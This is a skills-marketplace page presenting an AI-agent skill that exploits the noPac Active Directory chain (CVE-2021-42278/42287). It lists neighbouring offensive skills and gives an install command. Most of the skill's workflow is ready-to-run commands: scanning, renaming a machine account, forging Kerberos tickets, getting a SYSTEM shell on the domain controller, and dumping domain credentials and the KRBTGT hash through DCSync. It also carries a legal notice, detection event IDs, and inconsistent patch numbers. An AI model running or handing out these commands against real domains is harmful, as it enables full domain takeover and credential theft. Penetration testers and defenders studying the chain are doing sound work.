exploiting-nopac-cve-2021-42278-42287

Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.

跳到安装

仓库: mukul975/Anthropic-Cybersecurity-Skills
最近来源活动: 2026年8月2日 16:32
检测到的 SKILL.md 语言: 英语
星标: 27,732
分支: 3,366

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

用 Codex 或 Claude 帮你安装复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。

直接命令不会经过审查 Prompt；运行前请先检查来源。

npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287

命令会保持在同一行。复制前请横向滚动并检查完整内容。

想先保存到本地？可下载 SkillsMP 当前能够提供的文件。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

文件资源管理器

8 个文件

SKILL.md

来源说明 · 只读预览

返回搜索返回安装

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.

2026-08-02

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.

2026-08-02

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

2026-08-02

查看这个仓库的全部 Skills

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

When to Use

When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
When analyzing malware samples or attack artifacts in a controlled environment
When conducting red team exercises or penetration testing engagements
When building detection capabilities based on offensive technique understanding

Prerequisites

Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Objectives

Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
Create or leverage a machine account with modified sAMAccountName
Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
Use the DC ticket to perform DCSync and dump domain credentials
Achieve Domain Admin access from a standard domain user account
Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

T1068 - Exploitation for Privilege Escalation
T1136.002 - Create Account: Domain Account
T1078.002 - Valid Accounts: Domain Accounts
T1558 - Steal or Forge Kerberos Tickets
T1003.006 - OS Credential Dumping: DCSync

Workflow

Phase 1: Vulnerability Scanning

Check if the domain is vulnerable using the noPac scanner:

# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac

Verify the MachineAccountQuota (default is 10, allows any user to join computers):

# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"

Phase 2: Exploitation with noPac Tool

Run the full noPac exploit chain:

# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
  -dc-host DC01 -shell --impersonate administrator -use-ldap

# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
  --impersonate administrator -dump

The exploit automatically:
- Creates a new machine account (or uses an existing one)
- Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
- Requests a TGT for the spoofed account name
- Restores the original sAMAccountName
- Uses S4U2self to obtain a service ticket impersonating the target user
- The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

With the obtained Domain Controller ticket, perform DCSync:

# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC

Alternatively, obtain a semi-interactive shell:

python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
  -dc-host DC01 -shell --impersonate administrator -use-ldap

Phase 4: Manual Exploitation Steps

Create a machine account:

addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
  -dc-ip 10.10.10.1 domain.local/user:'Password123'

Clear the SPN and rename sAMAccountName:

# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
  -dc-ip 10.10.10.1 domain.local/user:'Password123'

Request a TGT for the spoofed name:

getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'

Restore the original machine name:

renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
  -dc-ip 10.10.10.1 domain.local/user:'Password123'

Use S4U2self for impersonation:

export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
  -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'

Tools and Resources

Tool	Purpose	Platform
noPac (cube0x0)	Automated scanner and exploiter	Python
noPac (Ridter)	Alternative exploit implementation	Python
Impacket	Kerberos ticket manipulation, DCSync	Python
CrackMapExec	Vulnerability scanning module	Python
Rubeus	Windows Kerberos ticket operations	Windows (.NET)
secretsdump.py	Post-exploitation credential dumping	Python

CVE Details

CVE	Description	CVSS	Patch
CVE-2021-42278	sAMAccountName spoofing (machine accounts)	7.5	KB5008102
CVE-2021-42287	KDC PAC confusion / privilege escalation	7.5	KB5008380

Detection Signatures

Indicator	Detection Method
Machine account sAMAccountName change	Event 4742 (computer account changed) with sAMAccountName modification
New machine account creation	Event 4741 (computer object created)
TGT request for account without trailing $	Kerberos audit log analysis
S4U2self requests from non-DC machine accounts	Event 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGT	SIEM correlation rule for noPac attack pattern

Validation Criteria

Domain scanned for noPac vulnerability
MachineAccountQuota verified (default 10)
Exploit executed successfully (shell or DCSync)
Domain Admin privileges obtained from standard user
DCSync performed to dump domain credentials
KRBTGT hash obtained for persistence validation
Attack chain documented with timestamps
Patch status verified (KB5008380, KB5008602)

name	exploiting-nopac-cve-2021-42278-42287
description	Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"]
version	1.0
author	mahipal
license

name	exploiting-nopac-cve-2021-42278-42287
description	Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"]
version	1.0
author	mahipal
license

exploiting-nopac-cve-2021-42278-42287

来源信息

安装方式

检查来源文件

同仓库更多 Skills

同仓库更多 Skills

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Overview

When to Use

Prerequisites

Objectives

MITRE ATT&CK Mapping

Workflow

Phase 1: Vulnerability Scanning

Phase 2: Exploitation with noPac Tool

Phase 3: Post-Exploitation

Phase 4: Manual Exploitation Steps

Tools and Resources

CVE Details

Detection Signatures

Validation Criteria